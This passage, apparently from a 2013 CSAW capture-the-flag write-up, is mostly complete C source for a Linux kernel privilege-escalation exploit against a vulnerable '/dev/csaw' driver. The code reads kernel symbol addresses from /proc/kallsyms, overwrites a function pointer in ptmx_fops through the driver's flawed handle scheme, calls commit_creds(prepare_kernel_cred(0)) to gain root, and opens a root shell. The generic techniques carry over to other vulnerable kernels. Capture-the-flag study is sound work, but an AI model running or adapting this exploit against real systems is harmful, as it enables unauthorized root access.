    unsigned long size;
    void *out;
};

struct write_args {
    unsigned long handle;
    unsigned long size;
    void *in;
};

struct consumer_args {
    unsigned long handle;
    unsigned long pid;
    unsigned char offset;
};

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }

repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '\0';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
                        fclose(f);
                        return addr;
                }
        }

        fclose(f);
        if (rep)
                return 0;
fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                return 0;
        rep = 1;
        goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long *cleanup;

int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos )
{
    _commit_creds commit = (_commit_creds)commit_creds;
    _prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred;

    *cleanup = 0;

    commit(prepare(0));

    return 0;
}

int main ( int argc, char **argv )
{
    int fd, pfd, ret;
    unsigned long handle, buf, seed, target, new_handle, ptmx_fops;
    unsigned long payload[4];
    struct alloc_args alloc_args;
    struct write_args write_args;
    struct consumer_args consumer_args;
    struct iovec iov;

    fd = open("/dev/csaw", O_RDONLY);
    if ( fd < 0 )
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    pfd = open("/dev/ptmx", O_RDWR);
    if ( pfd < 0 )
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    commit_creds = get_kernel_sym("commit_creds");
    if ( ! commit_creds )
    {
        printf("[-] commit_creds symbol not found, aborting\n");
        exit(1);
    }

    prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
    if ( ! prepare_kernel_cred )
    {
        printf("[-] prepare_kernel_cred symbol not found, aborting\n");
        exit(1);
    }

    ptmx_fops = get_kernel_sym("ptmx_fops");
    if ( ! ptmx_fops )
    {
        printf("[-] ptmx_fops symbol not found, aborting\n");
        exit(1);
    }

    memset(&alloc_args, 0, sizeof(alloc_args));
    alloc_args.size = BUF_SIZE;

    ret = ioctl(fd, CSAW_ALLOC_HANDLE, &alloc_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    handle = alloc_args.handle;

    printf("[+] Acquired handle: %lx\n", handle);

    memset(&consumer_args, 0, sizeof(consumer_args));
    consumer_args.handle = handle;
    consumer_args.offset = 255;

    ret = ioctl(fd, CSAW_GET_CONSUMER, &consumer_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    buf = consumer_args.pid;

    printf("[+] buf = %lx\n", buf);

    seed = buf ^ handle;

    printf("[+] seed = %lx\n", seed);

    target = ptmx_fops + sizeof(void *) * 4;

    printf("[+] target = %lx\n", target);

    new_handle = target ^ seed;

    printf("[+] new handle = %lx\n", new_handle);

    memset(&consumer_args, 0, sizeof(consumer_args));
    consumer_args.handle = handle;
    consumer_args.offset = 255;
    consumer_args.pid = target;

    ret = ioctl(fd, CSAW_SET_CONSUMER, &consumer_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    buf = (unsigned long)&get_root;

    memset(&write_args, 0, sizeof(write_args));
    write_args.handle = new_handle;
    write_args.size = sizeof(buf);
    write_args.in = &buf;

    ret = ioctl(fd, CSAW_WRITE_HANDLE, &write_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    printf("[+] Triggering payload\n");

    cleanup = (unsigned long *)target;

    iov.iov_base = &iov;
    iov.iov_len = sizeof(payload);
    ret = readv(pfd, &iov, 1);

    if ( getuid() )
    {
        printf("[-] Failed to get root\n");
        exit(1);
    }
    else
        printf("[+] Got root!\n");

    printf("[+] Enjoy your shell...\n");
    execl("/bin/sh", "sh", NULL);

    return 0;
}




reference

2013 csaw Brad-Oberberg write-up

comments powered by Disqus